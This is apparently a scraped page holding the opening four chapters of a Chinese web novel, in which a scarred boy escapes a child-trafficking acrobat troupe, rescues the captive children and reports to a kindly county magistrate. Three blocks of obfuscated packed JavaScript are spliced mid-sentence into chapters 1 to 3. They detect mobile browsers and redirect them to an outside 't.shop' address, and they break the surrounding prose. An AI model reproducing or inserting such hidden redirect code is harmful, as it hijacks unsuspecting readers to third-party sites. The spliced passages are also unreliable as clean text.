《竹马死后成了权倾朝野的大太监》 1. 子车百戏团 牛坳山上,五辆马车从黄泥路上驰行而过,最末尾的马车立了一根短杆,上面挂了一面三角旗帜,写着“子车百戏”。 戏团班子直到正午才停下歇脚休整,戏团的人陆陆续续从马车上下来,大约有10人左右。 班主子车仪叼着烟杆,指挥着其他人生火做饭。 一众忙碌的人中,有个年纪格外小的,观之身量不过七八岁的年纪,但力气格外的大,他在马车旁接过与他等高的圆筒炉灶,面不改色的稳稳搬到空地上。 经过小半个时辰的忙碌,午饭准备就绪,李威一边招呼其他人吃饭,一边对正站在椅子上熬粥的吴阿狗道:“小鬼,你去给车上的‘货物’喂食。” “好的李哥。”吴阿狗抬头笑脸应下。 他抬起的脸上,左侧有一大块伤疤,红色鲜嫩,皮屑褶起,薄痂欲掉不掉,看起来像烫伤留下的痕迹。 九月的天气依然炎热,大概也是伤后没能处理好,皮屑旁隐隐有几处化脓,一笑便牵动疤痕蠕动,看起来格外可怖。 李威一阵恶心,一巴掌拍了过去:“丑东西,还不赶紧的。” 吴阿狗被拍在地上,完好的右脸高高肿起,他诚惶诚恐的爬起:“是……是,我马上去。” 子车仪看着提着一桶粥爬上马车的吴阿狗,烟杆子在刚落座的李威面前点了点:“下手注意点,打坏了你来干这些活?” 李威哈哈两声:“老大放心,我下手有分寸。” 子车仪点点头,对众人道:“吃饭吧。” 吴阿狗掀开帘子进入马车,里面装的,竟然是七个五花大绑、嘴里塞着布条的小孩,而不是一箱箱或者一袋一袋的“货物”。 小孩们见来了人,不由躁动起来,甚至有几个扭动着身体唔唔叫唤。 他们看着吴阿狗,眼里有害怕,惊惧,还有……祈求。 吴阿狗却不予理会,只舀了两碗粥,一碗放在脚边,一碗拿勺子面无表情的搅拌着。 他现在和刚才完全是两幅面孔,一点看不出在外面点头哈腰的谄媚模样。 直到手上的粥变至可即时入口的温度,吴阿狗才出声:“等下拆布条吃饭,谁敢大声哭叫,就不用吃了,明白吗?” 说着,他冷眼扫了一圈车内的人。 小孩哪敢反抗,忙不迭的点头表示自己会乖乖听话。 吴阿狗开始逐一喂食,喂完一个就重新塞回布条,进行到第三个时,那小孩偏头一躲,布条便这么塞了个空。 吴阿狗脸色瞬间沉下,小孩见状急忙道:“我、我想撒尿!” “唔唔…”其他小孩闻言附和,七双眼睛齐齐看向他。 吴阿狗环顾一圈:“等你们都吃完,带你们去解手。”言毕,他捏住那小孩的下巴,将布条塞进他的嘴里。 大概又过去一刻钟,午饭终于投喂完毕,吴阿狗拎起刚刚说要撒尿的小孩,从马车上下去:“解手一个个来。” “班主,我带他们去旁边解手。”吴阿狗脸上又布上了那满是讨好的笑容,冲子车仪哈着腰讲话。 “去吧。”子车仪点头,又冲李威吩咐,“你也去看着。” 李威不耐烦的啧了声,不情不愿的放下碗筷,拍了下被吴阿狗拎着小孩的头:“走吧,屎尿多的小兔崽子。” 两刻钟后,吴阿狗解了最后一个小孩的绳子,带她下马车解决需求。 “哥哥。”一道女童声低低传来。 吴阿狗似乎没有听见,毫无反应的继续带人向前。 小女孩见他置若罔闻,有些急切:“哥哥,求求你放了我,我爹爹一定会报答你的,他是大官,非常大的官,是…是丞相!只要你放了我,你要什么他都可以给你。” 吴阿狗看了眼十几米外正烦躁踢石头的李威,回头觑小女孩,冷笑:“丞相?你爹是天王老子现在也救不了你。” 恶意的视线,恶意的弧度,连带着那疤都活了过来,像午夜噩梦中凶狠的怪物。 苏茴霎时脑内一片空白。 不等她反应,那冰冷的声音继续敲落:“安分一点,不要再对任何人说这种话,否则怎么死的都不知道。” 苏茴安静下来,不敢再发出任何一点不必要的声音,甚至半低着头降低自己的存在感。 好、好可怕,这个哥哥面无表情时还好,一笑牵动那个疤就……想着,她忍不住打了个哆嗦。 苏茴一边在草丛中解手,一边环望四周。 疤痕丑哥哥在离她就两步之遥的草丛前,背对着她,而那个很凶的大人在稍微远一些的大树旁边,也是背对着她。 如果她现在跑…… 不,不行! 她不可能跑得过这群大人,也不可能独自一人跑出这座大山。 苏茴有点泄气。 可是除了每天解手的时刻,她都是被绑在车上,根本没有任何机会逃跑。 李威耐心告罄,一颗石子直直砸向草丛:“小娘们在草里磨磨蹭蹭的干什么呢?还没拉完?” “我、我好了,马马上。”苏茴吓了一跳,声音不自觉带上轻颤的哭腔。 她手忙脚乱的提起裤子系上腰带。 会有机会的,一定会有机会的,她一定会逃出去找到爹爹和娘亲。 苏茴在心里安慰着自己,努力把眼泪逼回去。 吴阿狗面无表情的听着周遭的一切,不置一词,只是将上马车时,他又低声警告了苏茴一次:“安分才能活命。” 苏茴有点诧异的抬头看他,触及他脸上的伤疤时又赶忙撇开视线,点了点头。 薛福贵看着吴阿狗带着苏茴上马车,碰了碰傍边的子车仪,嘿嘿笑道:“老大,这个小娘们虽然还小,但一看就是个美人胚子,这个也要卖掉吗?不然留着给以后的小班主当媳妇?或者再养养,给你当婆娘也成啊,我们拐了这么多小孩,头一回见到这么水嫩的,卖了多可惜。” 子车仪一烟杆敲在薛福贵脑门,嗤声道:“我缺的是婆娘?钱,我缺的是钱,有钱了多少好看的娘们讨不到?我还等着这小美人让我大赚一笔,你给我好生照料着,不许打她主义。” 薛福贵吃痛摸了摸头:“自然老大说什么就是什么。” …… 一行车马在两天后行至白云县,时值秋硕节,天色虽已稍显暮色,人却越来越多。 街道两旁已半数占满小摊小贩,珠翠花簪、糖果酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550960|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饼、草编泥塑等等鳞次而落,街头支立起各色花灯,因着天未暮夜,只能看见灯里透出微弱的火光。 人群嬉笑流动,好不热闹。 子车仪决定在此进行一场表杂戏演,他点了两个人:“你们留下看货,其余人跟我布置场地和准备表演。” 待戏班布置完场地,天色已经彻底昏暗,李威便敲着铜锣沿舞台吆喝叫卖。 路过的人群很快发现这里即将进行一场表演,不断为此滞留,很快便聚集了一片观众。 薛福贵率先表演,他向长绳兜着的两个碗里各倒了一些水,随即一个起势,握住绳子甩了起来。 旋转、过背空翻、圆场单手兜等一系列高难度动作接连上演,碗中的水却分毫未洒。 “好!”人群爆发阵阵喝彩,掌声接连不断,气氛很快推向高潮。 “阿狗。”子车仪发现有部分需要用的道具没有搬下,急忙拉住路过的吴阿狗,“你去马车上把木桶和飞剑拿下来。” 正在找借口回马车的吴阿狗放下麻布,心中诧异,他压下得来全不费工夫的欣喜,点点头:“好的。” “赶紧的。” 吴阿狗朝停留马车的位置小跑过去,在即将到达时,却停下脚步。 他回头看了眼舞台。 水流星的节目已经表演完毕,李威咚咚敲了两下锣,高声道:“下一个节目,百戏千变之——仙人指路!” 紧接着,五个身着戏服的人上台,开始咿咿呀呀的表演。而子车仪拿着碗,在舞台边缘游走,不断有铜板掷入其中。 每个人都在为这场表演而忙碌,没有任何人有空分神到此处。 吴阿狗笑着转头,朝第三辆马车外坐着的人大声道:“财哥,班主让我来拿道具。”田振财只点点头,依然闭着眼睛养神。 吴阿狗钻入末尾的马车,装模做样找了一番,将翻出的木桶放到最里侧,又搬来物件遮挡,然后拉开帘子对外喊道:“财哥,木桶是收在这辆车上吗?怎么没有呢?” 道具一向是由田振财负责清点,他记得就是放在末尾的马车上,定是这小子眼神不好,连个桶都找不见。 他皱眉,起身走向末尾马车。 田振财撩开扯帘,跨步上车,见吴阿狗正在翻找,上前几步,低头:“你……” 只是才吐出一个字,脖颈忽地传来一阵剧痛,他根本来不及反应,便直直倒了下去。 吴阿狗跳下车厢,径直向前,走到关押着小孩的车辆,故技重施。他火急火燎的撩开车帘:“发哥,木桶在这辆车上吗?后面的都找过了,没有,班主他们还急着用。” 田振发下意识转身撩帘子,正打算寻找木桶。 然而,说时迟那时快,就在他转头的瞬间,吴阿狗一个轻身跃起,而后一掌狠狠劈下,田振发同样未来得及做出反应,便已倒落车厢。 五花大绑的萝卜头们瞪大眼,瞳孔微缩,所有人都直愣愣的看着这一幕,完全不明白发生了什么。 怎么绑匪们突然就内讧了? 吴阿狗不在意萝卜头们的想法,什么也没有解释。 他一脚把昏倒的田振发踹下马车,而后拉起僵绳,悄然离去。 2. 报官 迟迟等不到吴阿狗拿道具回来,子车仪看着已将近尾声的戏幕,心下焦急,不断朝停靠马车的方向望去。 考虑到车内的“货物“,马车停靠的位置相对昏暗,在浓郁的夜色里,只能看到一列模糊的影子。 天上弦月撒下冷光,穿过古朴的砖墙和马车,投出一片重叠黑影。马头和车顶因为角度问题,映出的影子细长而扭曲,像张牙舞爪的怪物安静的攀爬贴附。 子车仪盯着那一列马车,不知为何,一种不太妙的感觉涌上心头。他觉得自己像被一只怪物抓了下心脏,连呼吸都有舜停滞。 明明是初秋夏暑未消的天气,他却觉得自己像是置身在冰雪之中。 不对,哪里都不对。 子车仪将收钱的碗丢给李威,提气而起,向马车的位置快速掠去。 然而,一切都迟了—— 空荡的车位,躺在地上一动不动的田振发,早已不见人影的吴阿狗。 发生了什么不言而喻。 子车仪阴恻恻的扫视一圈,额上青筋暴起。 他忍不住哈了一声,怒极反笑:想他子车仪纵横江湖多年,竟还被一个八岁的毛头小孩给算计了,真是可笑至极。 真是终日打雁,反叫雁啄了眼。 原来不是狗崽子,而是一只狼崽子。 …… “驾——” 吴阿狗在今日进入白云县时,远远看到过衙门。 他的记性和方向感都不错,在夺得马车之后,迅速在脑子里规划好了线路,驾着马车绕过人群径直驶向县衙。 天色已经完全昏暗,衙门门口昏黄的灯下,两个捕快正百无聊赖的依着门口值夜班,似是听到远处的车马动静,吴阿狗见那两道人影向他的方向侧了侧头。 他眯了眯眼,拉紧缰绳,加速向前驶去。 待离县衙大门几十米时,两个捕快已经出来,站到马路两侧,一人拿着一把腰刀互相成一个叉字,拦路意味不言而喻。 “何人擅闯衙门!还不快快减速下马!” “驭——”,吴阿狗拉住缰绳降速,待到两位捕快跟前,马车已经停稳。 他从马车上一跃跳下,然后砰的一声下跪,垂在大腿旁的手狠狠一拧,眼眶瞬间翻涌上泪花。 “求求官老爷救命,求求官老爷救命……”,吴阿狗砰砰磕了几个响头,“今日到白云县的杂戏班子乃是人牙子,专以戏法之术坑拐各村孩童,以此牟利,这辆车内都是被拐的孩子……求官老爷救命。” 他没有说的太过详细,用简陋的语言快速说明自己的诉求和核心事件。 捕快闻言大惊。 燕临对非法人口贩卖处罚极重。根据大燕律法,非法贩卖人口者皆磔于市,一旦发现,绝不股息!甚至“知情不报”者亦是同罪。 在此严刑律法下,大燕贩卖人口者可谓寥寥。 张捕快赶忙上前,撩开马车帷帐,里面果然是被五花大绑的孩童。 “快通知捕头和县令。” 一炷香后,白云县令陈鹤年便匆匆来了县衙。 陈鹤年已过而立之年,整个人有些微微发福,但其身形步履却十分稳健,一步仿若两步,快步流星,健步如飞。 他跨过县衙的门槛,脸色有些沉重,不复往日的和蔼可亲,隐隐显示出几分县令的威压。 “戏班子派人去抓了吗?”他问出来接人的张捕快。 “捕头已经带人去了,一会儿就能有消息。” “孩子们呢?” “驾马车报官的那位在正堂,其他小孩在侧堂休息”,话至本次的受害孩童,张捕快的声音不免染上怜惜与愤怒。 “这群人牙子可真是畜生,这群被拐的孩子小至三四岁,报官的那位最大看起来也不过七八岁,马车里的小孩到衙门时还是五花大绑的。” “我去给他们解绑时看起来又惊又怕的,更是好些解绑后直接呜呜大哭起来,不久前才安抚好。报官那位倒是非常的沉着冷静,但他身上伤口最多,青青紫紫的,手上脚上还有不少肿胀的地方,几乎没有几块好皮,可想在里面受了怎样的虐待。” 陈鹤年脸色又差了一个度,“去正堂。” 到达正堂门口时,太师椅上侧面的身影便映入陈鹤年眼底。 一个小人捧着一杯水坐的板正,他整个人瘦的有些脱相,两条悬空的腿近乎皮包骨,在宽大的椅子上,显得只有那么一小点。 虽然已经知晓此次报官的是一个七八岁的小孩,在看到人时,陈鹤年依然心下讶异。 根本无法想象,如此矮小削瘦的孩童,是怎么从人贩子窝逃出来的。 甚至他不仅仅是自己出逃,还带出了一马车的孩童。 吴阿狗听见脚步声,回头。 为首之人虽着常服,但其气度不凡,威压甚甚,吴阿狗一下子猜出他是白云县令,他赶忙放下水杯,从椅子上跳下起身。 陈鹤年这才看到他的正脸,不由一愣。 小孩稚气的脸上满是伤痕和污浊,左脸是一块可怖的伤疤,右脸肿胀隆起,乌青和於痕横亘,额上破了一大块皮,刺目鲜红的血块凝结一片。 陈鹤年看向张捕快,未等他开口,张捕快已经明白县令的意思,道:“已经去请大夫了,应是还要一会儿到。” 不等陈鹤年回应,一声砰响即刻吸引了他的注意,一回头,本站在他面前的小孩已然跪下,正欲磕头。 他吓了一跳,急忙弯腰将人扶起,“孩子,不必再跪,我是白云县的县令张鹤年,你将事情再详细说与本官,我一定为你们做主。” 闻言,面前的小孩瞬间泪水翻涌,他哽咽一声,眼泪止不住的哗哗下流:“我是……嗝……我是从……嗝……” 小孩闭嘴,他深深的呼吸,企图控制自己的情绪和眼泪,却怎么也止不住,憋的一张小脸瞬间涨红。 陈鹤年上前一步将吴阿狗抱起,很轻很轻,近乎皮骨的重量。 他轻轻将人放在太师椅上,摸了摸他的头,低眉温声道:“好孩子,你受委屈了。” “不必着急,不用害怕,戏班子李捕头已经带人去抓了,本官在这里,一定将他们绳之以法,给你们一个公道!” 头上的大掌轻柔抚过,本粗糙有力的手掌此时却充满了安抚的意味,像每次受了委屈后自己扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550961|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向母亲的怀抱。 吴阿狗瞬间恍惚,连戏都忘记演了。 他下意识的抬头,看见陈鹤年狂放的国字脸上布满温和的笑容,带着无言的力量,让人仿佛一下子找到了主心骨。 他慌乱低头,胡乱抹了把脸上的眼泪,深呼吸好几次才将情绪控制。 陈鹤年端起水杯,半跪着给吴阿狗喂了好几口水,直到吴阿狗摇头,他才起身将水杯重新放到旁边的桌子上。 “大人。”吴阿狗已将情绪稳住,声音还带着点鼻音,但却清晰明亮。 “我是定泊县大龙村的人,叫做吴岁欢,村里的人因为战乱死的死逃的逃,我的父母被蛮族杀害,我是侥幸活下来的。” “我一路乞讨流浪,有一次差点饿晕在一个破庙中,恰好碰到正在歇脚的子车百戏团,我请求他们救我,带我一起上路,我从小力气比旁人大一些,子车仪——也就是百戏团的班主觉得我确实不错,适合处理戏班子的杂事,答应了我的请求。” “跟他们一起上路之后,因为我的脸,又或者我的年纪,又或者我是新来的?戏班子里的大小杂活都是安排给我处理,他们还对我动辄打骂。当然这也不算什么,世道艰难,有安稳的住所,有一口饭吃胜过许多。” “但是渐渐的,我发现这个戏班子不只是个戏班子。他们在城镇是正常的表演,可到了村里,却是借着表演之名,偷偷的拐骗孩子。” “我这才发现,原来这其实是一个人牙子团伙。之后我便一直等待机会,直到子车仪今天决定在街头表演,分散了戏团,我才能带着孩子们逃出。” “子车仪放心让你一人看守?”陈鹤年觉得有些不太对。 吴岁欢摇头:“看守的是戏班另外两人,表演途中子车仪发现道具不齐全,我借着回去拿道具的名义打晕了看守的人,然后驾着马车逃了出来。” “我的父亲是武官,我从小便学习武功,子车仪他们只知道我的力气大,并不知晓我会武,所以对我虽然有所防备,却也防备有限。打晕两个人,于我而言并非难事。” 吴岁欢顿了下,想了想,继续补充:“戏班的人都会拳脚,但都是些三脚猫功夫,比较好的只有两个,一个叫李威,一个叫陈平。不过班主子车仪例外,此人内功不错,身手——我没怎么见过他出手,但绝对不会差,是实打实的练家子。我知道的大概就是这样,大人您看,还有什么问题?” 陈鹤年略作思索:“大致已经明了,其余的事情不着急,等下带你去处理下伤口,然后好好休息。你放心,一切有本官在。” “好的,大人后续还有问题尽可找我。” 小小的人坐在太师椅上,仰着头,虽面容脏污,神色却严肃,一双圆眼还蒙着一层水雾,一眨不眨的看着他。 年纪虽小,却懂得隐忍,有勇有谋,不卑不亢,更难得的是,有一颗善良而有义的心。 “好孩子。”陈鹤年忍不住摸了摸他的头,温和的笑了起来。 如此可造之材,飘飖在外,食宿无度,未免可惜可怜。 陈鹤年抱起吴岁欢,“你的伤需要处理,正好我们也一起去侧堂看看其他孩子。” 3. 噩梦 是夜子时,李捕头带队押着五人回来。 李捕头双手作揖:“大人,子车百戏一共十人,已经抓捕半数归案,其余五人暂未寻找到踪迹。目前已经封锁城门,白云县各个出路亦派人镇守,李肃正带队在挨家挨户搜擦剩余逃犯。这些是其余逃犯的画像。” 旁边的捕快适时将画像呈上。 陈鹤年快速将画像扫了一遍,随即走到正跪着的犯人前面,指着画像问:“这些人都叫什么?” 戏团的几人闻声抬头,看了眼画像,又忍不住向旁边的同伴看去,眼中满是犹豫,一时间倒是谁也没有开口。 李捕头一脚踹向其中一人的屁股,那人哎呦一声倒地。 “大人问话,岂可不言?”李捕头冷声厉喝,“你们还不速速坦白从宽!” 跪着的人瑟缩低头,倒地的人趴着装死。 五人仿若锯了嘴的葫芦,一言不发。 李捕头见状正想再给他们施以颜色,陈鹤年却先开了口:“将人押入地牢分开关押。李言,你去侧堂跟吴岁欢确认画像中人,戏团里面李威和陈平拳脚功夫不错,班主子车仪更是个混迹江湖的练家子,功力不低,带人抓捕时需格外小心。” “是。” 李捕头很快便确认好了画像人员,带着一行捕快重新投入夜色追捕逃犯。 “走吧,我们去地牢先审一审这些人。”陈鹤年将一卷空白的宣纸递给身侧刚到不久的师爷手上,两人朝地牢跨步而去。 吴岁欢透过窗户目睹发生的一切,此时庭院内除了两个巡守的捕快外,其他人已经悉数离开。 皓月当空,月明如昼。 万物在夜色中沉寂下来,子时过半,当是所有生灵休憩沉眠之时。 吴岁欢收回目光,将窗檐的支木取下,阖上了小窗。 一转头,两边床上的小萝卜头早已熟睡,只有隔壁铺的一个小女孩攥着被子的一角,探出半个脑袋怯怯的看着他。 ——是之前说父亲是丞相的小女孩。 吴岁欢:? “睡不着?” 小女孩摇摇头,捏着被子把头缩了进去,这下只能看到一点点乌溜溜的头发。 吴岁欢不再管她,熄灭了床边最后灯盏,也躺了下来。 只是才刚合上眼,就听见小小的一声:“哥哥,谢谢你…” 清脆的声音轻若蚊呐,很快消散在浓重的夜色里。 吴岁欢想起之前她被自己恐吓到瑟缩的场景,不由笑了下。 也不知道是鼓起了多大的勇气道这声谢。 连日的奔波劳累,提心吊胆,九岁的身体早已不堪负重,吴岁欢很快便沉沉睡去。 …… “求求你,不要杀……” 噗——未等话语完毕,利剑已经刺入血肉,卑微恐惧的哀求随尸体倒落。 噗,噗,噗,噗…… 尖叫声,哀嚎声,利剑的砍伐声此起彼落……每一丝声响都如此清晰的传入耳中,吴岁欢剧烈的挣扎起来,他想从湖面冲出去,想去找阿爹阿娘,想去找妹妹。 他想和他的家人呆在一起。 但是身后的人禁锢着他,用手死死的捂住他的嘴,他始终没能挣脱。 “哥哥——”女童尖细的声音从厢房传出,混在一片混乱慌张中几不可察。但吴岁欢还是听见了。 是他的妹妹谢长欢的声音! 吴岁欢,或者说谢岁安,他更加剧烈的挣扎起来,甚至狠狠的咬了一口嘴前的手掌。 身后的人吃痛略松了一瞬,却很快反应,用更大的力道将其禁锢,任他怎么挣扎都无用。 谢岁安松开了口,他并不是真的想伤害身后之人。 嘈杂声一阵接着一阵,尖叫声一声连着一声,每一次,都是不同的音色。 燕临十二年六月二十四,天河走廊山海关谢家将军府,全府覆灭。 也不知过了多久,刀剑声和哭喊声终于渐渐止息,唯剩一阵阵训练有素的脚步声。 片刻后,一场大火从四面八方烧起,迅疾猛烈的火焰以冲天燎原之势迅速吞噬着将军府的一切——草木、房屋,仆人、亲人,家、欢乐,还有……血与罪恶。 谢岁安终于被放开,浓重的硝烟弥漫至湖面,他急忙扒着石头,向前看去。 没了,什么都没了。 他不住闭眼,再睁开时眼底一片猩红。 火愈发大了,血液的腥臭味逐渐消融,取而代之的是烤肉的香气和焦土的气息。 谢岁安蓦地捂住嘴,弯腰干呕起来。 然而一整日未进食的腹部,什么都吐不出来。 火…… 一望无际的,是一片仿佛永远也烧不尽的火…… “哥哥,醒醒,哥哥?”朦胧中,一个甜软的声音入耳,好似一道清风拂过,血和火都在瞬间远去。 欢…欢? 谢岁安睁开眼,一个五岁大的小女孩正趴在他的床边,手还搭在他身上轻轻摇晃着,巴掌大的嫩白脸上写满了忧色。 苏茴见他醒了,刚松一口气,却又见他神色变得阴暗晦涩,于是,一口气又提上了嗓子眼。 她讪讪的松开手,以为他是对自己吵醒他睡觉而不快,只能硬着头皮解释:“对、对不起,我不是故意吵醒你的,我刚才看你好像做噩梦了,脸色非常不好,所以才叫醒你。” 谢岁安摇头:“不干你的事,我没有生气,我只是……做了一个噩梦。” 梦中的一切,都仿若昨日才生。 已是正午十分,明媚的阳光从窗口洒落,将房间切割成明暗两界。 谢岁安偏头,望那烈日骄阳,刺目的光线激起眼角几分水意,他忍不住伸手挡了挡。 少年分明身处阳光之下,整个人却颓然异常,像一朵无法汲取养分、即将干涸枯死的花。 苏茴茫然,只觉得眼前人看起来实在过于伤心,仿佛下一刻就会死去。 她咬了下唇,张嘴,正欲再说什么,房门却传来吱呀一声。 “都醒了?”陈鹤年推门进入。 他提着一个食盒,见床上两个小不点回头看他,笑着举了举手上的吃食:“都饿了吧?稍微洗漱下,先用一些饭。” 被一打岔,苏茴的话便吞了回去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550962|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她摸了摸自己干瘪的肚子,里面传来一阵咕噜,她确实很饿了,视线下意识黏上食盒,好几秒后,才不舍的移开。 她又抬眼去看谢岁安,此时的少年再看不出伤心欲绝的模样,好似一切都是她的错觉。 苏茴见他笑了起来:“谢谢大人,有劳大人记挂。” 苏茴低头,嗯,这个疤还是这么丑。 谢岁安和苏茴快速的清理了下,很快便和陈鹤年一起在房间的桌内用起了饭。 陈鹤年一边给他们夹菜,一边道:“其他人起的早,已经吃过了,正在询问一些事情,下午开堂审理你们的案子,还要劳烦小友们一起出个面。” “不胜荣幸。”谢岁安朝陈鹤年抱拳作揖。 陈鹤年示意他坐:“不必如此客气,此乃本官分内之职,小友们若是不介意,尽可把我当家里的长辈看待。” 说着,他又看向苏茴:“说起来,妹妹是哪里人?还记得爹娘和家在哪里吗?” 在燕临,妹妹除了特指的兄妹关系,也是对小女孩一种比较通用的称呼。 苏茴从饭里抬头。 “我家在崇阳,爹爹叫苏澄,是县衙负责校对文书的‘正字’,我娘是当地农户的女儿,叫程文君。“ “两个多月前,我和娘亲去探望病重的小姨,结果走到一半时遇到了土匪,娘亲和我分散了,嬷嬷为了保护我死了,我听嬷嬷的话,跑啊跑啊跑,好不容易活下来,却撞见了戏班子,他们就把我抓了。” 嬷嬷拦住土匪的画面还历历在目,苏茴忍住不红了眼。 又是一个可怜的孩子。 陈鹤年心下叹了口气,夹了一筷子菜到苏茴碗中,出声安慰:“小友莫担心,你还好好活着,相信令堂也是吉人自有天相,一定是没事了。我岳父家有个商点在崇阳,今日我便托家妻书信一封,看是否能联系上令尊。” 苏茴感激的看向陈鹤年:“谢谢大人,大人您真是……”她想了想,才道,“青天大老爷!” 陈鹤年看她认真思考的可爱模样,忍不住笑了下:“吃饭罢。” 一顿饭用的很快,陈鹤年忙,吃完收拾好食盒便匆匆离开,只对他们道:“你们稍作休息,晚一点开堂会有人带你们过去。” 大概是提起伤心事,苏茴的心情一下子低落下来,她背身坐在窗口,一动不动的,一点没有之前的活泼开朗。 谢岁安看着她乌溜溜的后脑勺好一会儿,才收回视线,开口:“我记得之前有人说她的爹爹是京城的大官,是——丞相?” 苏茴闻声回头,有点尴尬的挠了下脸:“对、对不起,我当时实在是太想逃出去了,所以就说了谎。” 燕临百官志事—— 丞相者,掌丞天子,助理万机,盖一品之首百官之长也。 正字者,雠校典籍,刊正讹误,乃九品之末文翰之基也。 她的爹爹不是统领百官的一品大臣,只是一个校对文字的九品小官。 “认字吗?” 苏茴点头又摇头:“才启蒙,大概就认得几十个字?” “过来,我教你。” 4. 消息 戏团拐卖儿童案受理的很快,下午开堂时,除了班主子车仪和李威,戏团其他人皆已经抓捕归案。 案件人证物证俱全,一应受理,很快便出了结果—— 子车百戏团众人诱拐幼童,贩卖异乡,拆人骨肉,败坏伦常。此等恶行,上干天和,下犯律法,据《燕临律法·刑律·贼盗》「略人略卖人」条,从重究拟,绝不股息! 已抓捕归案者,陈平、田振财等八人处以磔刑,于秋后行刑于市。在逃匪徒子车仪、李威,一应擒获,亦按律例惩处。 解决完了犯人,剩下便是处理受害者的问题。 拐来的孩童里面,除了苏茴,其余的都是相对临近村落的小孩,案子受理完,陈鹤年便安排人员将孩子送回自己的村子。 因着商点还未回信,苏茴家又太远,陈鹤年便让苏茴暂住在县令府。 而谢岁安无父无母,同样也是暂住县令府。 “哥哥,这一句怎么读?” 县令府西院侧厢房内,苏茴跪坐在茶椅上,将身前的《三字经》向前推了推,指着书页问道。 谢岁安有点无奈。 原本之前说教她识字,不过是看她因母亲生死未卜心绪不佳,一时间起了怜悯之心,才想着带她做点事情转移注意力。 不曾想,这是个好学的,这些日子,她是一有空便捧着书读,还时不时问他一些问题。 不过谢岁安对此也并未表现出什么。 他看了眼苏茴指着的地方,道:“‘稻梁菽,麦黍稷。此六谷,人所食。’这句指的是我们平常所吃的六种谷物,即水稻、小米、大豆、小麦、黄米、高粱。” 苏茴点头,正想再问什么,一道高声的调子从门外来:“吃水果啦!” 声音刚落下,房门吱呀一声被推开,一道青衫从门外进来。 青衫少年手上端着一个果盘,笑嘻嘻的将盘子放在正在教学两人的桌子上。 他眼尖的瞄到苏茴手上的书:“《三字经》?” “小小年纪,大好时光,读书多无趣?”说着,少年给自己左右两边的小孩一人嘴里塞了一颗葡萄,“来来来,吃点水果,一会哥哥带你们出去逛街游湖。” 闻言,谢岁安和苏茴不由对视一眼,这话真是过分耳熟了。 自几日前陈鹤年将他们带回住宅,县令唯一的孩子陈子非对他们便是十分热情,本来应是县令夫人带他们去采买安置,陈子非拍拍胸脯就把他老娘的活抢了,拽着两个小不点就上街去了。 徒留他老子在门口暴躁大喊:“逆子,你给我回来,春闱在即,你给我滚去书房好好温书!” 谢岁安和苏茴都惊奇回头,县令大人之前在县衙面对再难办的案子都面不改色,始终冷静,没想到竟也有这么暴躁的时候。 逆子头也不回:“买完就回来父亲大人!” 然后几人就买到了晚上。 之后的几日,陈子非更是时不时就跑来西院,像今日般直接破门而入,说几句有的没的的话,而后拽着他们就出门。 赛马斗物、庙会祈福、游街登高等等,短短几日,他们几乎把白云县能玩乐的地方都去遍了。 谢岁安嚼了嘴里的葡萄,将葡萄皮吐在掌心:“谢谢子非哥哥,只是这些日子已经很麻烦你了,又是带我们添置物件,又是带我们各处游玩,如此连日奔波,相信你也累了,不如今天好好休息下?” 苏茴跟着点头。 “我不累,玩乐怎么会累?走嘛走嘛,今天你们萧飞月姐姐可是租了嘉行会最大的一条游船,错过了多可惜啊?” “可是子非哥哥,我的腿好酸,我今天真的走不动了,你看我的脚踝都好像有点肿了。”苏茴微微提起一点裙摆,露出脚踝,抬头有点可怜的看向陈子非。 陈子非皱眉,他是没看出肿没肿,不过小家伙才五岁,这几天跟着到处跑,脚酸疲累应是不假,倒是他考虑不周。 他又看了看左边的谢岁安,嗯……这个虽然九岁了,但身体小的可怜,瘦的跟猴似的,估计这些天也是玩累了。 “算了算了,累了就歇着罢,今天就不出门了。” 说着,陈子非从旁边拉了把椅子一起坐到桌前,拿起上面的书本:“人之初,性本善……”一句都没念完,他又把书丢回桌面,有点痛苦的嚎叫起来:“我真是不明白,你们小小年纪,怎么这么喜欢这种文邹邹的东西?” 他从小就不爱看这种,就算要看也是看一些话本游记,真是搞不懂怎么会有人看三字经看的津津有味。 是了,话本! 陈子非一下子又兴奋起来:“走,去我的书房,我带你们去看话本子,反正小茴都是启蒙,看什么不行?” “你们去罢,我……” 陈子非一把子把谢岁安手上的书也抽走,打断他的话:“岁欢也走,我的书房什么书都有,比你手上这本可有趣多了。” 说走就走,陈子非起身,一手拉一个风风火火的就要去书房。 苏茴和谢岁安无奈,不过总算不用再出门,就当是换个地方休息。 